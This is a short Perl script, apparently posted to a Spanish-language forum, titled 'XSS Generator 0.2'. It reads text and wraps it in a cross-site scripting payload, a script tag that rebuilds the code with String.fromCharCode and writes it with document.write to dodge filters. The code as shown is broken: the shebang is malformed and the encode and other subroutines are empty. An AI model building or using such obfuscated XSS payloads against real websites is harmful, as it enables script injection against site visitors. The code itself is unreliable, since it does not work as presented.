Código
#!usr/bin/perl #XSS Generator 0.2 #Coded By Doddy H head(); $code = <STDIN>; if ( $code ne "" ) { print "\n\n[XSS] : <script>var code =String.fromCharCode(" . encode($code) . "); document.write(code);</script>\n"; } copyright(); sub head { } sub copyright { <stdin>; } sub encode { } #The End ?